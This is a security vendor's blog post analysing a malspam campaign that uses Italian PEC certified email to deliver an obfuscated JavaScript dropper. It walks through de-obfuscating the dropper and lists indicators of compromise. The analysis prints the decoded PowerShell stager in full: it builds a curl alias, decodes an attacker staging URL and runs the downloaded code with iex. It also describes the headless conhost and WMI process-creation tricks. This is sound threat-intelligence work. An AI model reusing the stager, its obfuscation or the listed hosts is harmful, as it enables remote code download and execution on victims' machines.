转到主要内容
|
0 分钟阅读

Malicious JavaScript Code Sent Through Emails via PEC (Posta Elettronica Certificata)

Get a Demo of Forcepoint Solutions
  • Hassan Faizan

In early October, the X-Labs research team identified a malspam campaign targeting Italian businesses and individuals through PEC (Posta Elettronica Certificata). PEC is a certified email system commonly used in Italy for secure, legally recognized communication. It is widely adopted by individuals, businesses and public administrations—especially in cases where proof of communication is needed. Due to its trusted nature, PEC is often exploited by cybercriminals for malicious purposes. 

Our team observed multiple similar malspam emails targeting various entities through their cloud telemetry. Fig. 1 illustrates an example of an email using PEC to distribute malicious code. 

Fig. 1 - Malspam email

The email was intended for an Italian customer. The body of the email has been translated into English as follows:

I would like to hereby draw your attention to the fact that, by virtue of the contract signed between us on 1/06/2024, you are obliged to pay me the sum of 1254 euros. To date, this sum remains unpaid despite various reminders which I have already sent.

I therefore inform you that, if you do not spontaneously make the payment within five days of receiving this letter, I will be forced to instruct my lawyer to start the legal procedures for the recovery of the credit, without further notices or reminders. This communication therefore constitutes a formal notice and interrupts the running of the statute of limitations.

Best regards,

The invoice is available via the following link:

The company name and its address have been intentionally redacted to protect their information. The threat actor disguises the actual URL by using the company name as the link text. In the email above, we identified a malicious link, namely: 

  • hxxps://nk916b6wt4xq0kq92uq9a5b8xdk19cqbizqfbty7sw1jehqee3ds[.]customerconverse[.]com/aoc9h3

The subdomain appears to be DGA-generated and looks random. There is minimal information on the domain, so likely to be controlled by an attacker. At the time of analysis, the URL was active and downloaded a malicious JavaScript file. (_Fattura_38377668.js). 

Let's take a closer look at the structure of the script and analyze its behaviour.

JavaScript Analysis

Upon initial inspection, the script appears heavily obfuscated, making it challenging to discern its true functionality. To better understand its operations, we undertook the process of de-obfuscation. 

There are 3 functions in the script.

  • honour_march_0thehas()
  • honour_march_0wasbut(thehas, wasbut)
  • hvngqasq(zfutxpog)

Let’s breakdown each function to understand:

function honour_march_0thehas()

Inside the function, a variable overchurch is declared, which is an array containing four strings. The strings in the overchurch array appear to be obfuscated or encoded data. Without further context, it is difficult to determine their exact purpose, but they may represent encrypted or encoded information that could be used elsewhere in the code. Figure 2 shows its code snippet.

Fig. 2 - Overchurch code snippet

function honour_march_0wasbut(thehas, wasbut)

The function takes two parameters:

  • thehas object or array that holds encoded data
  • wasbut - likely serves as a key or additional parameter for decoding.
  • It calls the previously defined function honour_march_0thehas() to retrieve an array of strings (stored in viiheld).
  • The outer function honour_march_0wasbut is re-assigned to an inner function that performs a specific operation.
  • The first input parameter fromhabit is adjusted by subtracting 301 (0x12D). This value is then used to index into the viiheld array.

Fig. 3 - Deciphering the function

If honour_march_0wasbut['AiPGsL'] is not defined, it initializes several functions and variables.

A custom base64 decoding method (shown in Fig. 4):

  • It takes an input parameter called Wallsmisleading, which is expected to be a Base64-encoded string.
  • It uses bitwise operations and modular arithmetic to convert each Base64 character into its corresponding binary value.
  • The decoded binary values are then converted back to characters using String.fromCharCode.
  • After decoding, the function constructs a URL-encoded string. Each character value is converted to a percent-encoded format.
  • Finally, the function returns the fully URL-decoded string.
  • Bitwise operation adds a layer of complexity, which could be an attempt to disguise the decoding logic.

Fig. 4 -Custom base4 decoding method

Cipher-like decoding using XOR operations (shown in Fig. 5):

  • It uses a key (derived from the wAllsmisleading input) to decode the input string (vIiheld) by XORing characters.

Fig. 5 - XOR operations

  • The function (Fig. 6) attempts to retrieve a previously computed result from the thehas parameter (which is likely an array or object) using the adjusted fromhabit index and ownchurch.

Fig. 6 - Retrieving function

Finally, the function returns the decoded value.

function hvngqasq(zfutxpog)

  • This function takes a hexadecimal string (zfutxpog), ensures it has an even number of characters, and converts each two-character pair into its corresponding integer value. The resulting array of numbers is then returned. Fig 7 shows its code snippet:

Fig. 7 - Number array code snippet

Further in that, there are 3 variables that will now reference to the function honour_march_0wasbut.

  • uaxpaudedmqohlyd
  • ysqyhmnt
  • hkjtqnfwmnjzwo

There are 2 variables that stores the returned value of the function hvngqasq (shown in Fig. 9)

  • aosfxhvcl
  • ollazxbarpu

Fig. 8 - Two variables

With CyberChef, the returned value of the function hvngqasq is computed. Figure 9 shows CyberChef recipe:

Fig. 9 - CyberChef recipe

Let's proceed to examine the sections of the code where the returned values are being utilized. Fig. 10 shows the code where these variables are being used.

Fig. 10 - Variable code snippet

There is a XOR operation between elements of two arrays, aosfxhvcl and ollazxbarpu, and converting the result into a character using String.fromCharCode(). The code is self-explanatory. To check the value stored in the variable cqlduvdo, we created the following Python code:

Fig. 11 - Python code

Fig. 12 - Returned result

Voila! This reveals some interesting information. Though it still seems to be written in PowerShell and its looks like it is obfuscated. Let walk through key elements.

  • new-alias press c$($qgbulzirjil)l;: This is creating a new alias named press, and it is creating it dynamically based on the variable $qgbulzirjil. $qgbulzirjil is defined as 'ur', so c$($qgbulzirjil)l expands to 'curl',making press an alias for curl (which is used to send HTTP requests).
  • $bumtcbxgwj=(7251,7253,7270... defines a series of numbers, and the following loop iterates through them. Each number has 7148 subtracted from it, and the resulting number is converted to a character. This suggests the numbers represent obfuscated ASCII codes. We decoded this section to see what the output would be. Here is the Python code below:

Fig. 13 - Pytohn script (ASCII codes)

DECODED URL:

gizpvovur.top/1.php?s=mints13

  • .$([char](9992-9887)+'e'+'x'): This is dynamically constructing and executing a command. The math results in 105, which is the ASCII code for 'i', so this becomes iex, a shorthand for the PowerShell Invoke-Expression command, which executes the code inside.
  • The script downloads or interacts with the URL gizpvovur[.]top/1.php?s=mints13 using curl. This behaviour could be part of a script to retrieve further payloads or instructions from a remote server, and it has potential malicious intent.

Let's move on to the next step. Fig. 14 shows the follow-up code snippet:

 

Fig. 14 - Folllow-up code snippet

Again, an array is being created and assigned to variable nkgkunojefmjc. As mentioned previously, variables, uaxpaudedmqohlyd, ysqyhmnt and hkjtqnfwmnjzwo are referenced to a function honour_march_0wasbut, causing to initialize several functions and variable if the certain condition (mentioned above) is not met. It is very time consuming to manually decode the function, but we can debug that JavaScript code to get to know the output which are later assigned to above variables. After debugging, we get to know the strings assigned to these variables.

uaxpaudedmqohlyd -> “winmgmts:root\cimv2:Win32_Process”

ysqyhmnt -> “less powershel”

hkjtqnfwmnjzwo -> “conhost –head”

cqlduvdo -> “l $qgbulzirjil='ur';new-alias press c$($qgbulzirjil)l;$bumtcbxgwj=(7251,7253,7270,7260,7266,7259,7266,7265,7262,7194,7264,7259,7260,7195,7197,7194,7260,7252,7260,7211,7263,7209,7257,7253,7258,7264,7263,7197,7199);$oayiop=('bronx','get-cmdlet');$axvdkllmwtkm=$bumtcbxgwj;foreach($jtnsbmkhwu in $axvdkllmwtkm){$zsbvmyotsckki=$jtnsbmkhwu;$ynfictsxc=$ynfictsxc+[char]($zsbvmyotsckki-7148);$keskaghbwwme=$ynfictsxc;$peonhdgp=$keskaghbwwme};$fkzszio[2]=$peonhdgp;$ulhsdxick='rl';$ervchdsip=1;.$([char](9992-9887)+'e'+'x')(press -useb $peonhdgp)”

hkjtqnfwmnjzwo -> “time”

winmgmts:root\cimv2:Win32_Process:

  • This part of the code is using WMI (Windows Management Instrumentation) to access information about the system.
  • winmgmts: WMI moniker that tells the Windows Script Host to use the WMI objects, connects to the default namespace
  • root\cimv2 is the default namespace in WMI that contains many classes related to system management.
  • Win32_Process is a WMI class that provides information about processes running on the system. This allows the script to interact with processes on the machine. Such type of activity can be risky as a script using this can potentially be used for malicious activities, such as terminating security-related processes or starting unwanted processes.

Headless console host environment:

  • The command starts conhost (Console Window Host) in headless mode, meaning it runs without displaying a console window. This is often used to run background processes silently, and it could be a tactic to hide malicious behaviour (Stealth Execution).

As we continued our investigation, we discovered another intriguing tactic. A significant number of commented lines were found, with actual active code hidden between them. This technique appears to be used to introduce junk data into memory, potentially aiming to corrupt it or obscure the malicious code. Figure 15 illustrates an example of this behaviour.

Fig. 15 - Obscring malicious code

We filtered out the uncommented line, much like finding a needle in a haystack and that shows as follows (see Fig. 16):

Fig. 16 - Uncommented line

This line of code is just to re-arrange PowerShell code as follows (Fig. 17):

Fig. 17  - PowerShell code

We also captured the network traffic while communicating to server i.e gizpvovur[.]top

As a response we are getting an obfuscated PowerShell code i.e. sha1: d70b9c14c4146ade02c79eaf8aa335f1c50d4636 while making connection to a staging URL i.e hxxp://gizpvovur[.]top/1.php?s=mints13.

Fig. 18 illustrates as below: 

Fig. 18 - Obfuscated PowerShell code

We executed this PowerShell code within our environment and captured the network traffic as illustrated in Fig. 19:

Fig. 19 - Network traffic

This GET request seems to be accessing a PHP script uvj0epxg28htr.php (php appears to be different with each request) from potential C2 server i.e. fjjlkfakeinfkid[.]top and passing three parameters (id, key, and s).

  • idcomputer name or unique identifier for a desktop machine
  • key - might be an authentication token to authorize the request
  • s – might be time query in minutes potentially for sleep operation. 

Conclusion

The increasing use of PEC (Posta Elettronica Certificata) for delivering unsolicited emails with embedded malicious and obfuscated JavaScript code represents a growing threat to cybersecurity. These emails leverage the secure nature of PEC to gain trust, allowing them to bypass certain security filters. The obfuscation of JavaScript code makes it difficult to detect and analyze the malicious payload, increasing the risk of infection for users.

Protection statement 

Forcepoint customers are protected against this threat at the following stages of attack:

  • Stage 2 (Lure) – Malicious URLs associated with this attack are identified and blocked.
  • Stage 5 (dropper) – The dropper file is added to Forcepoint malicious database and are blocked.
  • Stage 6 (Call Home) – Blocked C&C domain.

IOC:

Dropper URLs:

  • hxxps[://]nk916b6wt4xq0kq92uq9a5b8xdk19cqbizqfbty7sw1jehqee3ds[.]customerconverse[.]com/aoc9h3
  • hxxps[://]z6gil1l15rfl2ikt3x0cm307tvdip66tlwnr2b3cqwkbgcylevcb8mdti[.]customerconverse[.]com/r2dmo
  • hxxps[://]x48zo70ug1hl10tdvxqxl24l32rud7ngbbsbnotcs7i1e6er081[.]customerconverse[.]com/xbqz7v
  • hxxps[://]vx0yg09a6hpisfw16qvltqbrn100daxzzinazj6kk[.]customerconverse[.]com/hkcv1t
  • hxxps[://]drlnx69mthj55zkbpcbfno3m0dsv11b0pb1ywj98au5e1pq4quzb[.]customerconverse[.]com/a4die1 
  • hxxps[://]we5h0up8c8mf9sslzqxpliyvgdfjtfsqyk1ic6zouyfub1t5ob82rw3ur8xq[.]customerconverse[.]com/73l1g2
  • hxxps[://]g2kwlrkkzd1g83q362jnl31vluwb2vykomkk6cmd[.]customerconverse[.]com/pv10qv
  • hxxps[://]wkfijx7cycdybkodehsq2lrc94n1tzm7skn87vn6t6f4s0oq[.]customerconverse[.]com/vfcn5i
  • hxxps[://]3kcje55g7aih98vzkdfgqbfhihjdwhyp8q82s21xblv77qmx0snij[.]customerconverse[.]com/m7tksk


Hash:

  • 90b8febf952dcb6d943418dbeff1eb487abfcfbc
  • d70b9c14c4146ade02c79eaf8aa335f1c50d4636

 

Staging URL:

  • hxxp://gizpvovur[.]top/1.php?s=mints13

Potential C2 Server:

  • fjjlkfakeinfkid[.]top
     
  • syed_hassan_faizan.jpg

    Hassan Faizan

    Syed Hassan Faizan as a Security Researcher for Forcepoint X-Labs Research Team. He devotes his time in researching cyber-attacks that targets the web and email, particularly focusing on URL analysis, email security and malware campaign investigation. He is passionate about analysing cyber threats aimed at windows systems.

    阅读更多文章 Hassan Faizan

    在文章中

    X-Labs

    Get insight, analysis & news straight to your inbox

    直奔主题

    网络安全

    涵盖网络安全领域最新趋势和话题的播客

    立即收听